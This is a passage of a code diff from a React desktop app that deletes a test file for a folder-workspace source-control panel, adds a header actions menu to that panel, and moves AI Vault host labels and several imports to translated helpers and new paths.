-    const row = section?.querySelector('[data-testid="source-control-entry"]')
-    expect(row).toBeTruthy()
-    // Both modifiers select on either platform without triggering split open.
-    await act(async () =>
-      row!.dispatchEvent(new MouseEvent('click', { bubbles: true, ctrlKey: true, metaKey: true }))
-    )
-    expect(section?.textContent).toContain('1 selected')
-
-    const draft = section!.querySelector<HTMLTextAreaElement>('textarea')!
-    const setValue = Object.getOwnPropertyDescriptor(HTMLTextAreaElement.prototype, 'value')!.set!
-    await act(async () => {
-      setValue.call(draft, 'fix: keep my draft')
-      draft.dispatchEvent(new Event('input', { bubbles: true }))
-      draft.dispatchEvent(new Event('change', { bubbles: true }))
-    })
-    expect(draft.value).toBe('fix: keep my draft')
-    await (inactive === 'off-screen'
-      ? scrollTo([])
-      : act(async () =>
-          section!.querySelector<HTMLButtonElement>('button[aria-expanded]')!.click()
-        ))
-    await act(async () =>
-      useAppStore.setState((state) => ({
-        worktreesByRepo: {
-          repo: state.worktreesByRepo.repo!.map((row) =>
-            row.id === first!.id ? { ...row, branch: 'refs/heads/current-branch' } : row
-          )
-        },
-        gitStatusByWorktree: {
-          ...state.gitStatusByWorktree,
-          [first!.id]: [
-            ...state.gitStatusByWorktree[first!.id]!,
-            { path: 'latest.ts', status: 'modified', area: 'unstaged' }
-          ]
-        }
-      }))
-    )
-    expect(section!.querySelector('[data-source-control-path="latest.ts"]')).toBeNull()
-    await act(async () => {
-      await vi.advanceTimersByTimeAsync(60_000)
-    })
-
-    await (inactive === 'off-screen'
-      ? scrollTo([first!.id])
-      : act(async () =>
-          section!.querySelector<HTMLButtonElement>('button[aria-expanded]')!.click()
-        ))
-    expect(section?.textContent).toContain('1 selected')
-    expect(section!.querySelector('[data-source-control-path="latest.ts"]')).toBeTruthy()
-    expect(section!.querySelector<HTMLTextAreaElement>('textarea')!.value).toBe(
-      'fix: keep my draft'
-    )
-  }
-)
-
-it('opens a deleted section entry as its diff from Open in File Explorer', async () => {
-  const [owner] = setup(1)
-  useAppStore.setState({
-    gitStatusByWorktree: {
-      [owner!.id]: [{ path: 'deleted.ts', status: 'deleted', area: 'unstaged' }]
-    }
-  })
-  probes.visible.add(owner!.id)
-  const openDiff = vi.spyOn(useAppStore.getState(), 'openDiff').mockImplementation(() => {})
-  const openFile = vi.spyOn(useAppStore.getState(), 'openFile').mockImplementation(() => 'unused')
-  await render(<FolderWorkspaceSourceControlPanel />)
-  const row = container.querySelector('[data-testid="source-control-entry"]')!
-  await act(async () =>
-    row.dispatchEvent(new MouseEvent('contextmenu', { bubbles: true, button: 2 }))
-  )
-  const item = [...document.querySelectorAll<HTMLElement>('[role="menuitem"]')].find((node) =>
-    node.textContent?.includes('Open in File Explorer')
-  )
-  expect(item).toBeTruthy()
-  await act(async () => item!.click())
-  expect(openDiff).toHaveBeenCalledWith(
-    owner!.id,
-    '/child-0/deleted.ts',
-    'deleted.ts',
-    'typescript',
-    false,
-    expect.objectContaining({ placementWorkspaceId: 'folder:feature' })
-  )
-  expect(openFile).not.toHaveBeenCalled()
-})
-
-it('split-opens child content in the current placement group after a focus change', async () => {
-  const [owner] = setup(1)
-  probes.visible.add(owner!.id)
-  const createSplit = vi.fn(() => 'new-split')
-  const openDiff = vi.fn()
-  useAppStore.setState({ createEmptySplitGroup: createSplit, openDiff })
-  await render(<FolderWorkspaceSourceControlPanel />)
-  await act(async () =>
-    useAppStore.setState({
-      activeGroupIdByWorktree: { 'folder:feature': 'current-group' },
-      groupsByWorktree: {
-        'folder:feature': [
-          { id: 'current-group', worktreeId: 'folder:feature', tabOrder: [], activeTabId: null }
-        ]
-      }
-    })
-  )
-  const row = container.querySelector('[data-testid="source-control-entry"]')!
-  await act(async () => row.dispatchEvent(new MouseEvent('click', { bubbles: true, altKey: true })))
-  expect(createSplit).toHaveBeenCalledWith('folder:feature', 'current-group', 'right')
-  expect(openDiff).toHaveBeenCalledWith(
-    owner!.id,
-    '/child-0/a.ts',
-    'a.ts',
-    'typescript',
-    false,
-    expect.objectContaining({
-      placementWorkspaceId: 'folder:feature',
-      targetGroupId: 'new-split',
-      preview: false
-    })
-  )
-})
-
-it('keeps an owned base-ref dialog usable after its section leaves the viewport and collapses', async () => {
-  const worktrees = setup(3)
-  probes.visible.add(worktrees[0]!.id)
-  await render(<FolderWorkspaceSourceControlPanel />)
-  const changeBase = screen.getByRole('button', { name: /Change base ref/ })
-  await act(async () => fireEvent.click(changeBase))
-  await scrollTo([])
-  const section = container.querySelector('section')!
-  const collapse = section.querySelector<HTMLButtonElement>('button[aria-expanded="true"]')!
-  await act(async () => fireEvent.click(collapse))
-  await act(async () => {
-    fireEvent.change(screen.getByPlaceholderText('Search branches by name...'), {
-      target: { value: 'feature' }
-    })
-  })
-  await act(async () => {
-    await vi.advanceTimersByTimeAsync(250)
-  })
-  expect(screen.getByRole('button', { name: 'feature/live' })).toBeTruthy()
-})
diff --git a/src/renderer/src/components/right-sidebar/FolderWorkspaceSourceControlPanel.test.tsx b/src/renderer/src/components/right-sidebar/FolderWorkspaceSourceControlPanel.test.tsx
deleted file mode 100644
index 34290b57abf..00000000000
--- a/src/renderer/src/components/right-sidebar/FolderWorkspaceSourceControlPanel.test.tsx
+++ /dev/null
@@ -1,278 +0,0 @@
-// @vitest-environment happy-dom
-import { act } from 'react'
-import type { Worktree } from '../../../../shared/worktree/types'
-import type * as GitIdentityDisplay from '../../../../shared/worktree/git-identity-display'
-import { createRoot, type Root } from 'react-dom/client'
-import { afterEach, beforeEach, expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store'
-import type { AppState } from '@/store/types'
-import { TooltipProvider } from '@/components/ui/tooltip'
-import FolderWorkspaceSourceControlPanel from './FolderWorkspaceSourceControlPanel'
-import { useSourceControlWatchConsumers } from '@/hooks/source-control-watch-consumers'
-import {
-  useSourceControlScope,
-  type SourceControlScope
-} from './source-control/panel/worktree-scope'
-import { useWorktreeGitStatusObservation } from './source-control/sync/use-worktree-git-status-observation'
-import { ORCA_WORKTREE_FILE_CHANGE_EVENT } from '@/hooks/worktree-file-change-event'
-
-const probes = vi.hoisted(() => ({
-  status: vi.fn(async (_request: { worktreeId: string }) => {}),
-  body: vi.fn(),
-  header: vi.fn(),
-  watches: new Array<string>()
-}))
-vi.mock('./source-control/sync/git-status-refresh', () => ({
-  refreshGitStatusForWorktree: probes.status
-}))
-vi.mock('./source-control/sync/use-git-status-upstream-ref-watch', () => ({
-  useGitStatusUpstreamRefWatch: () => undefined
-}))
-vi.mock('./source-control/sync/use-refresh-on-host-contact', () => ({
-  useRefreshOnHostContact: () => {}
-}))
-vi.mock('@/lib/worktree-git-copy', () => ({
-  resolveWorktreeGitCopyNow: (id: string, hostId: string) => ({
-    worktreeId: id,
-    hostId,
-    transport: { kind: 'local' }
-  })
-}))
-vi.mock('../../../../shared/worktree/git-identity-display', async (original) => {
-  const actual = await original<typeof GitIdentityDisplay>()
-  return {
-    ...actual,
-    getWorktreeGitIdentityDisplay: (
-      ...args: Parameters<typeof actual.getWorktreeGitIdentityDisplay>
-    ) => {
-      probes.header(args[0].branch)
-      return actual.getWorktreeGitIdentityDisplay(...args)
-    }
-  }
-})
-vi.mock('./source-control/panel/panel', () => ({
-  SourceControlPanel: () => {
-    const scope = useSourceControlScope()
-    probes.body(scope?.worktreeId)
-    return <div data-commit-owner={scope?.worktreeId} />
-  }
-}))
-
-// Unlike happy-dom, report every observed section as on screen.
-class OnScreenIntersectionObserver {
-  private readonly callback: IntersectionObserverCallback
-  constructor(callback: IntersectionObserverCallback) {
-    this.callback = callback
-  }
-  observe(target: Element): void {
-    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the section hook reads only target and isIntersecting.
-    this.callback([{ target, isIntersecting: true } as IntersectionObserverEntry], this as never)
-  }
-  unobserve(): void {}
-  disconnect(): void {}
-}
-
-let root: Root
-let container: HTMLDivElement
-beforeEach(() => {
-  vi.stubGlobal('IS_REACT_ACT_ENVIRONMENT', true)
-  vi.stubGlobal('IntersectionObserver', OnScreenIntersectionObserver)
-  vi.useFakeTimers()
-  useAppStore.setState(useAppStore.getInitialState(), true)
-  container = document.createElement('div')
-  document.body.append(container)
-  root = createRoot(container)
-  probes.status.mockClear()
-  probes.body.mockClear()
-  probes.header.mockClear()
-})
-afterEach(async () => {
-  await act(async () => root.unmount())
-  container.remove()
-  vi.useRealTimers()
-  vi.restoreAllMocks()
-  vi.unstubAllGlobals()
-})
-function Watches() {
-  probes.watches = useSourceControlWatchConsumers().map((target) => target.worktreeId)
-  return null
-}
-function setup(count: number) {
-  const worktrees: Worktree[] = Array.from({ length: count }, (_, i) => ({
-    id: `repo::/child-${i}`,
-    repoId: 'repo',
-    path: `/child-${i}`,
-    branch: `feature-${i}`,
-    head: 'abc123',
-    isBare: false,
-    isMainWorktree: false,
-    displayName: `Child ${i}`,
-    comment: '',
-    linkedIssue: null,
-    linkedPR: null,
-    linkedLinearIssue: null,
-    isArchived: false,
-    isUnread: false,
-    isPinned: false,
-    sortOrder: i,
-    lastActivityAt: 0,
-    hostId: 'local' as const,
-    instanceId: `instance-${i}`
-  }))
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: fixture supplies the catalog and status fields consumed by the folder panel.
-  useAppStore.setState({
-    activeWorktreeId: 'folder:feature',
-    activeWorkspaceKey: 'folder:feature',
-    activeWorkspaceExecutionHostId: 'local',
-    rightSidebarOpen: true,
-    rightSidebarTab: 'source-control',
-    repos: [{ id: 'repo', displayName: 'Child', path: '/repo', kind: 'git' }],
-    worktreesByRepo: { repo: worktrees },
-    folderWorkspaces: [
-      { id: 'feature', name: 'Feature', folderPath: '/folder', projectGroupId: 'group' }
-    ],
-    workspaceLineageByChildKey: Object.fromEntries(
-      worktrees.map((row, i) => [
-        row.id,
-        {
-          childWorkspaceKey: `worktree:${row.id}`,
-          childInstanceId: row.instanceId,
-          parentWorkspaceKey: 'folder:feature',
-          parentInstanceId: null,
-          createdAt: i
-        }
-      ])
-    ),
-    gitStatusByWorktree: Object.fromEntries(worktrees.map((row) => [row.id, []]))
-  } as unknown as Partial<AppState>)
-  return worktrees
-}
-async function render(visible = true) {
-  await act(async () =>
-    root.render(
-      <TooltipProvider>
-        <Watches />
-        {visible && <FolderWorkspaceSourceControlPanel />}
-      </TooltipProvider>
-    )
-  )
-}
-
-it('labels same-repo sections by worktree name and a detached section by its HEAD', async () => {
-  const [onBranch, detached] = setup(2)
-  useAppStore.setState({
-    worktreesByRepo: { repo: [onBranch!, { ...detached!, branch: '', head: 'abc1234def' }] }
-  })
-  await render()
-  expect(
-    [...container.querySelectorAll('section button[aria-expanded]')].map(
-      (toggle) => toggle.textContent
-    )
-  ).toEqual(['ChildChild 0feature-0', 'ChildChild 1Detached HEAD · abc1234'])
-})
-
-function ScopedStatusObserver({ owner }: { owner: SourceControlScope }) {
-  useWorktreeGitStatusObservation(owner, { enabled: true })
-  return null
-}
-
-it('filters file events by the section runtime host when a same-id local twin exists', async () => {
-  const [local] = setup(1)
-  const remote = { ...local!, hostId: 'runtime:paired' as const, instanceId: 'remote-instance' }
-  const repo = useAppStore.getState().repos[0]!
-  const owner: SourceControlScope = {
-    worktreeId: remote.id,
-    repoId: remote.repoId,
-    executionHostId: 'runtime:paired',
-    worktree: remote,
-    repo,
-    attachedAt: 0,
-    placementWorkspaceId: 'folder:feature'
-  }
-  useAppStore.setState({ worktreesByRepo: { repo: [local!, remote] } })
-  await act(async () => root.render(<ScopedStatusObserver owner={owner} />))
-  expect(probes.status).toHaveBeenCalledTimes(1)
-  probes.status.mockClear()
-  for (const runtimeEnvironmentId of [null, 'other-runtime', 'paired']) {
-    await act(async () => {
-      window.dispatchEvent(
-        new CustomEvent(ORCA_WORKTREE_FILE_CHANGE_EVENT, {
-          detail: {
-            runtimeEnvironmentId,
-            payload: {
-              worktreePath: remote.path,
-              events: [{ absolutePath: `${remote.path}/a.ts`, kind: 'change' }]
-            }
-          }
-        })
-      )
-      await vi.advanceTimersByTimeAsync(4000)
-    })
-    expect(probes.status).toHaveBeenCalledTimes(runtimeEnvironmentId === 'paired' ? 1 : 0)
-  }
-})
-
-it('includes a paired-runtime descendant of a local attached worktree as a section', async () => {
-  const [parent] = setup(1)
-  const remote = {
-    ...parent!,
-    id: 'remote-repo::/remote-child',
-    repoId: 'remote-repo',
-    path: '/remote-child',
-    displayName: 'Remote child',
-    hostId: 'runtime:paired' as const,
-    runtimeOwnerEnvironmentId: 'paired',
-    instanceId: 'remote-instance'
-  }
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the shared lineage selector reads only the status descriptor's installation identity.
-  useAppStore.setState({
-    repos: [
-      ...useAppStore.getState().repos,
-      {
-        id: 'remote-repo',
-        displayName: 'Remote',
-        path: '/remote',
-        kind: 'git',
-        executionHostId: 'runtime:paired'
-      }
-    ],
-    worktreesByRepo: { repo: [parent!], 'remote-repo': [remote] },
-    ownLineageInstallationId: 'local-install',
-    runtimeStatusByEnvironmentId: new Map([
-      [
-        'paired',
-        {
-          status: { hostDescriptor: { installationId: 'remote-install' } },
-          checkedAt: 1
-        }
-      ]
-    ]),
-    crossStoreLineageByStoreKey: {
-      paired: {
-        [`worktree:${remote.id}`]: {
-          childWorkspaceKey: `worktree:${remote.id}`,
-          childInstanceId: 'remote-instance',
-          parent: {
-            installationId: 'local-install',
-            workspaceKey: `worktree:${parent!.id}`,
-            instanceId: 'instance-0'
-          },
-          origin: 'manual',
-          capture: { source: 'explicit-ui', confidence: 'explicit' },
-          createdAt: 2
-        }
-      }
-    },
-    gitStatusByWorktree: { [parent!.id]: [], [remote.id]: [] }
-  } as unknown as Partial<AppState>)
-  await render()
-  expect(
-    [...container.querySelectorAll('section')].map((section) =>
-      section.getAttribute('data-source-control-worktree')
-    )
-  ).toEqual([parent!.id, 'remote-repo::/remote-child'])
-  expect(probes.status.mock.calls.map(([request]) => request.worktreeId)).toEqual([
-    parent!.id,
-    'remote-repo::/remote-child'
-  ])
-})
diff --git a/src/renderer/src/components/right-sidebar/FolderWorkspaceSourceControlPanel.tsx b/src/renderer/src/components/right-sidebar/FolderWorkspaceSourceControlPanel.tsx
index b8424d28834..4886a2d68ab 100644
--- a/src/renderer/src/components/right-sidebar/FolderWorkspaceSourceControlPanel.tsx
+++ b/src/renderer/src/components/right-sidebar/FolderWorkspaceSourceControlPanel.tsx
@@ -4,7 +4,7 @@ import {
 } from '@/store/slices/worktrees/metadata/cross-store-lineage-parents'
 import { memo, useCallback, useEffect, useMemo, useState } from 'react'
 import { RefreshCw } from 'lucide-react'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import {
   selectFolderWorkspaces,
   selectWorktreesByRepo
@@ -13,7 +13,7 @@ import {
   getAttachedWorktreesForFolderWorkspace,
   attachedWorktreeOwnerKey
 } from './folder-workspace-attached-worktrees'
-import { resolveReviewRepository } from '@/lib/review-owner'
+import { resolveReviewRepository } from '@/lib/source-control/review/review-owner'
 import { useTranslate } from '@/i18n/use-translate'
 import { useUiLanguageRevision } from '@/i18n/use-ui-language-revision'
 import { OverlayActivityOwner } from '@/components/ui/use-overlay-focus-scope'
@@ -26,6 +26,8 @@ import {
   SourceControlScopeProvider,
   type SourceControlScope
 } from './source-control/panel/worktree-scope'
+import { SourceControlHeaderOverflowMenu } from './source-control/panel/header-overflow-menu'
+import { SourceControlHeaderActionsSlot } from './source-control/panel/header-actions-slot'
 import { useWorktreeGitStatusObservation } from './source-control/sync/use-worktree-git-status-observation'
 import { useSourceControlWatchConsumer } from '@/hooks/source-control-watch-consumers'
 import { useSectionOnScreen } from './source-control/panel/section-viewport-presence'
@@ -112,6 +114,7 @@ const WorktreeSection = memo(
         : null
     )
     const panel = useMemo(() => <SourceControlPanel />, [])
+    const [actionsSlot, setActionsSlot] = useState<HTMLDivElement | null>(null)
     const identity = getWorktreeGitIdentityDisplay(owner.worktree)
     return (
       <section
@@ -131,8 +134,15 @@ const WorktreeSection = memo(
           behind={remote?.behind}
           changeCount={entries.length}
           expanded={isExpanded}
+          showBranchInHeader={!bodyShown || !bodyMounted || isFolderRepo(owner.repo)}
+          actions={
+            isExpanded && (!bodyShown || !bodyMounted || isFolderRepo(owner.repo)) ? (
+              <SourceControlHeaderOverflowMenu worktree={owner.worktree} />
+            ) : null
+          }
           onToggle={() => setExpanded(!isExpanded)}
           onOpen={() => useAppStore.getState().setActiveWorktree(id, owner.executionHostId)}
+          actionsSlotRef={setActionsSlot}
         />
         {isExpanded &&
           (!connected ? (
@@ -154,9 +164,11 @@ const WorktreeSection = memo(
           // A read error renders the body's existing failure banner with Retry.
           <div hidden={!bodyShown}>
             <OverlayActivityOwner.Provider value={onOverlayActivity}>
-              <SourceControlScopeProvider owner={owner} active={bodyActive}>
-                {panel}
-              </SourceControlScopeProvider>
+              <SourceControlHeaderActionsSlot.Provider value={bodyShown ? actionsSlot : null}>
+                <SourceControlScopeProvider owner={owner} active={bodyActive}>
+                  {panel}
+                </SourceControlScopeProvider>
+              </SourceControlHeaderActionsSlot.Provider>
             </OverlayActivityOwner.Provider>
           </div>
         )}
diff --git a/src/renderer/src/components/right-sidebar/FolderWorkspaceWorktreesPanel.tsx b/src/renderer/src/components/right-sidebar/FolderWorkspaceWorktreesPanel.tsx
index b1c692f6d1c..f5ceec4583b 100644
--- a/src/renderer/src/components/right-sidebar/FolderWorkspaceWorktreesPanel.tsx
+++ b/src/renderer/src/components/right-sidebar/FolderWorkspaceWorktreesPanel.tsx
@@ -8,11 +8,10 @@ import {
   getLineageChildrenInlineStyle,
   LINEAGE_CHILDREN_INLINE_OFFSET
 } from '@/components/sidebar/worktree-list/rows/indentation'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { useTranslate } from '@/i18n/use-translate'
 import { getWorktreeHostIdentity } from '../../../../shared/worktree/host-qualified-identity'
-import { resolveReviewRepository } from '@/lib/review-owner'
-import type { Worktree } from '../../../../shared/worktree/types'
+import { resolveReviewRepository } from '@/lib/source-control/review/review-owner'
 import { getAttachedWorktreesForFolderWorkspace } from './folder-workspace-attached-worktrees'
 import { useState } from 'react'
 import {
@@ -20,6 +19,7 @@ import {
   selectWorktreesByRepo
 } from '@/store/workspaces/catalog/workspace-record-fields'
 import { FolderWorkspaceEmptyState } from './folder-workspace-empty-state'
+import type { Worktree } from '../../../../shared/worktree/types'
 
 export default function FolderWorkspaceWorktreesPanel(): React.JSX.Element {
   const t = useTranslate()
diff --git a/src/renderer/src/components/right-sidebar/ai-vault/panel/AiVaultPanel.tsx b/src/renderer/src/components/right-sidebar/ai-vault/panel/AiVaultPanel.tsx
index c7cb212c32f..ccd8e6de7c6 100644
--- a/src/renderer/src/components/right-sidebar/ai-vault/panel/AiVaultPanel.tsx
+++ b/src/renderer/src/components/right-sidebar/ai-vault/panel/AiVaultPanel.tsx
@@ -38,6 +38,7 @@ import { useAiVaultPanelSearch } from '../search/use-ai-vault-search'
 import { useAiVaultPanelSearchSessions } from '../search/ai-vault-search-session'
 import { aiVaultSearchScopeIdentity } from '../search/ai-vault-search-scope-identity'
 import { AiVaultPanelSearch } from '../search/AiVaultPanelSearch'
+import { useAiVaultResumeCatalogs } from '../session-actions/use-ai-vault-resume-catalogs'
 import { useAiVaultPanelSessionResume } from '../session-actions/use-ai-vault-panel-session-resume'
 import { AiVaultScanProgressStrip } from '../scanning/AiVaultScanProgressStrip'
 import { useAiVaultScanProgress } from '../scanning/ai-vault-scan-progress-store'
@@ -108,6 +109,7 @@ export default function AiVaultPanel({
   } = usePersistedAiVaultViewOptions(initialAgents)
   const { executionHostScope, onExecutionHostScopeChange, hostScopeOptions } =
     useAiVaultPanelHostScope(activeWorktreeId ?? null, resumeTargetState)
+  useAiVaultResumeCatalogs(executionHostScope)
   const activeWorktreePath = activeWorktree?.path ?? null
   // Why: AI Vault ownership is cwd-based, so we must consider live worktrees across all repos.
   const activeWorktreePaths = useMemo(
@@ -232,8 +234,8 @@ export default function AiVaultPanel({
     hideEmptySessions
   })
   const searchHitHostLabels = useMemo(
-    () => (searching ? aiVaultSearchHitHostLabels(filteredSessions, hostScopeOptions) : null),
-    [filteredSessions, hostScopeOptions, searching]
+    () => (searching ? aiVaultSearchHitHostLabels(filteredSessions, hostScopeOptions, t) : null),
+    [filteredSessions, hostScopeOptions, searching, t]
   )
 
   useAiVaultPanelHandle(ref, {
diff --git a/src/renderer/src/components/right-sidebar/ai-vault/panel/AiVaultPanelControls.tsx b/src/renderer/src/components/right-sidebar/ai-vault/panel/AiVaultPanelControls.tsx
index 0bc2d618313..ecef92271a3 100644
--- a/src/renderer/src/components/right-sidebar/ai-vault/panel/AiVaultPanelControls.tsx
+++ b/src/renderer/src/components/right-sidebar/ai-vault/panel/AiVaultPanelControls.tsx
@@ -29,17 +29,15 @@ import {
   type AiVaultGroup,
   type AiVaultScope
 } from '../../../../../../shared/ai-vault/contracts/ai-vault-types'
-import {
-  getExecutionHostLabel,
-  type ExecutionHostScope
-} from '../../../../../../shared/execution-host'
+import type { ExecutionHostScope } from '../../../../../../shared/execution-host'
 import '../session-list/ai-vault-session-filters'
 import {
   agentLabel,
   type AiVaultSessionGroup
 } from '../../../../../../shared/ai-vault/session-display/ai-vault-session-filters'
 import { useTranslate } from '@/i18n/use-translate'
-import type { AiVaultHostScopeOption } from '../scope/ai-vault-host-scope'
+import { getTranslatedExecutionHostLabel } from '../../../sidebar/execution-host-label'
+import { aiVaultHostScopeLabel, type AiVaultHostScopeOption } from '../scope/ai-vault-host-scope'
 import { AiVaultSessionLimitMenu } from '../session-list/AiVaultSessionLimitMenu'
 import type { AiVaultSessionLimit } from '../session-list/ai-vault-session-limit'
 
@@ -173,7 +171,9 @@ export function VaultHostScopeMenu({
 }): React.JSX.Element {
   const t = useTranslate()
   const selectedOption = hostOptions.find((option) => option.id === executionHostScope)
-  const label = selectedOption?.label ?? getExecutionHostLabel(executionHostScope)
+  const label = selectedOption
+    ? aiVaultHostScopeLabel(selectedOption, t)
+    : getTranslatedExecutionHostLabel(executionHostScope, t)
 
   return (
     <DropdownMenu
@@ -210,7 +210,7 @@ export function VaultHostScopeMenu({
         >
           {hostOptions.map((option) => (
             <DropdownMenuRadioItem key={option.id} value={option.id}>
-              {option.label}
+              {aiVaultHostScopeLabel(option, t)}
             </DropdownMenuRadioItem>
           ))}
         </DropdownMenuRadioGroup>
diff --git a/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-saved-session-lists.ts b/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-saved-session-lists.ts
index b40e7397b39..a21b69d3b7a 100644
--- a/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-saved-session-lists.ts
+++ b/src/renderer/src/components/right-sidebar/ai-vault/scanning/ai-vault-saved-session-lists.ts
@@ -1,9 +1,5 @@
 // Last list per scope, kept across restarts so History can paint it while the rescan runs.
 
-import type {
-  AiVaultListResult,
-  AiVaultSession
-} from '../../../../../../shared/ai-vault/contracts/ai-vault-types'
 import { latestSessionConversationTurn } from '../../../../../../shared/ai-vault/session-display/ai-vault-session-display'
 import { useAppStore } from '@/store/index'
 import { isWebClientLocation } from '@/app-shell/platform/web-client-location'
@@ -11,8 +7,12 @@ import {
   committedTransaction,
   indexedDbConnection,
   settledRequest
-} from '@/lib/indexeddb-connection'
+} from '@/app-shell/storage/indexeddb-connection'
 import { catalogRowsEqual } from '@/lib/catalog-reconciliation/catalog-row-reconciliation'
+import type {
+  AiVaultListResult,
+  AiVaultSession
+} from '../../../../../../shared/ai-vault/contracts/ai-vault-types'
 import type { AiVaultSessionLimit } from '../session-list/ai-vault-session-limit'
 
 const DATABASE_NAME = 'orca-ai-vault-session-lists'
diff --git a/src/renderer/src/components/right-sidebar/ai-vault/scope/ai-vault-host-scope.ts b/src/renderer/src/components/right-sidebar/ai-vault/scope/ai-vault-host-scope.ts
index 2a24e5d60ce..a39281d94ab 100644
--- a/src/renderer/src/components/right-sidebar/ai-vault/scope/ai-vault-host-scope.ts
+++ b/src/renderer/src/components/right-sidebar/ai-vault/scope/ai-vault-host-scope.ts
@@ -13,11 +13,24 @@ import {
 import type { PublicKnownRuntimeEnvironment } from '../../../../../../shared/remote-runtime/host-catalog/runtime-environments'
 import type { AiVaultSessionResumeTargetState } from '../session-actions/ai-vault-session-resume'
 
+import { getTranslatedExecutionHostLabel } from '../../../sidebar/execution-host-label'
+import { translate } from '@/i18n/i18n'
+import type { Translate } from '@/i18n/use-translate'
+
 export type AiVaultHostScopeOption = {
   id: ExecutionHostScope
   label: string
 }
 
+export function aiVaultHostScopeLabel(
+  option: AiVaultHostScopeOption,
+  t: Translate = translate
+): string {
+  return option.id === LOCAL_EXECUTION_HOST_ID || option.id === ALL_EXECUTION_HOSTS_SCOPE
+    ? getTranslatedExecutionHostLabel(option.id, t)
+    : option.label
+}
+
 export function useAiVaultExecutionHostScope(args: {
   activeWorktreeId: string | null
   resumeTargetState: AiVaultSessionResumeTargetState
diff --git a/src/renderer/src/components/right-sidebar/ai-vault/search/AiVaultPanelSearch.tsx b/src/renderer/src/components/right-sidebar/ai-vault/search/AiVaultPanelSearch.tsx
index 9730dba00e1..2fb37d44595 100644
--- a/src/renderer/src/components/right-sidebar/ai-vault/search/AiVaultPanelSearch.tsx
+++ b/src/renderer/src/components/right-sidebar/ai-vault/search/AiVaultPanelSearch.tsx
@@ -5,10 +5,8 @@ import { useTranslate, type Translate } from '@/i18n/use-translate'
 import { useAppStore } from '@/store/index'
 import { resolveAiVaultSearchSettings } from '../../../../../../shared/ai-vault/search/ai-vault-search-settings'
 import type { AiVaultSearchHostOutcome } from '../../../../../../shared/ai-vault/search/ai-vault-search-types'
-import {
-  getExecutionHostLabel,
-  parseExecutionHostId
-} from '../../../../../../shared/execution-host'
+import { parseExecutionHostId } from '../../../../../../shared/execution-host'
+import { getTranslatedExecutionHostLabel } from '../../../sidebar/execution-host-label'
 import type { useAiVaultPanelSearch } from './use-ai-vault-search'
 
 // Keep reasons short to match adjacent host labels; null means the host answered.
@@ -53,7 +51,9 @@ function describeSkippedHosts(
       return []
     }
     const reason = hostSkipReason(entry.outcome, t)
-    const label = getExecutionHostLabel(parseExecutionHostId(entry.executionHostId)?.id ?? null)
+    const label = getTranslatedExecutionHostLabel(
+      parseExecutionHostId(entry.executionHostId)?.id ?? null
+    )
     return reason ? [`${label} (${reason})`] : []
   })
   return skipped.length > 0
diff --git a/src/renderer/src/components/right-sidebar/ai-vault/search/ai-vault-search-hit-hosts.ts b/src/renderer/src/components/right-sidebar/ai-vault/search/ai-vault-search-hit-hosts.ts
index 16b019099f2..84fbb2c1a44 100644
--- a/src/renderer/src/components/right-sidebar/ai-vault/search/ai-vault-search-hit-hosts.ts
+++ b/src/renderer/src/components/right-sidebar/ai-vault/search/ai-vault-search-hit-hosts.ts
@@ -1,21 +1,24 @@
+import { translate } from '@/i18n/i18n'
+import type { Translate } from '@/i18n/use-translate'
 import type { AiVaultSession } from '../../../../../../shared/ai-vault/contracts/ai-vault-types'
-import {
-  getExecutionHostLabel,
-  type ExecutionHostId
-} from '../../../../../../shared/execution-host'
-import type { AiVaultHostScopeOption } from '../scope/ai-vault-host-scope'
+import type { ExecutionHostId } from '../../../../../../shared/execution-host'
+import { getTranslatedExecutionHostLabel } from '../../../sidebar/execution-host-label'
+import { aiVaultHostScopeLabel, type AiVaultHostScopeOption } from '../scope/ai-vault-host-scope'
 
 /** Use host-menu names to distinguish cross-host copies; return null when all hits share a host. */
 export function aiVaultSearchHitHostLabels(
   hits: readonly Pick<AiVaultSession, 'executionHostId'>[],
-  hostOptions: readonly AiVaultHostScopeOption[]
+  hostOptions: readonly AiVaultHostScopeOption[],
+  t: Translate = translate
 ): ReadonlyMap<ExecutionHostId, string> | null {
   const hostIds = new Set(hits.map((hit) => hit.executionHostId))
   if (hostIds.size < 2) {
     return null
   }
-  const optionLabels = new Map<string, string>(
-    hostOptions.map((option) => [option.id, option.label])
+  const optionLabels = new Map(
+    hostOptions.map((option) => [option.id, aiVaultHostScopeLabel(option, t)])
+  )
+  return new Map(
+    [...hostIds].map((id) => [id, optionLabels.get(id) ?? getTranslatedExecutionHostLabel(id, t)])
   )
-  return new Map([...hostIds].map((id) => [id, optionLabels.get(id) ?? getExecutionHostLabel(id)]))
 }
diff --git a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-original-pane-actions.ts b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-original-pane-actions.ts
index b27eba0bc1a..d03fb7f2749 100644
--- a/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-original-pane-actions.ts
+++ b/src/renderer/src/components/right-sidebar/ai-vault/session-actions/ai-vault-original-pane-actions.ts
@@ -5,11 +5,9 @@ import { activateTabAndFocusPane } from '@/lib/workspace/tabs/activate-tab-and-f
 import { activateAndRevealWorkspace } from '@/lib/workspace/activation/worktree-activation'
 import { findFolderWorkspaceOwner } from '@/lib/workspace/ownership/folder-workspace-runtime-owner'
 import { useAppStore } from '@/store/index'
-import { openDesktopStructuredSession } from '@/lib/activate-ai-vault-structured-session'
+import { openDesktopStructuredSession } from '@/lib/agent-session/open/activate-ai-vault-structured-session'
 import { findStructuredAgentSessionTab } from '@/lib/agent-session/structured-agent-session-tab-activation'
 import { flashFocusedPaneRim } from '@/components/terminal-pane/input/focus/focused-pane-rim-flash'
-import type { AgentDotState } from '@/components/AgentStateDot'
-import type { AiVaultSession } from '../../../../../../shared/ai-vault/contracts/ai-vault-types'
 import { translate } from '@/i18n/i18n'
 import { parseWorkspaceKey } from '../../../../../../shared/workspace-scope'
 import { findOriginalAiVaultSessionPane } from './ai-vault-original-pane'
@@ -18,6 +16,8 @@ import {
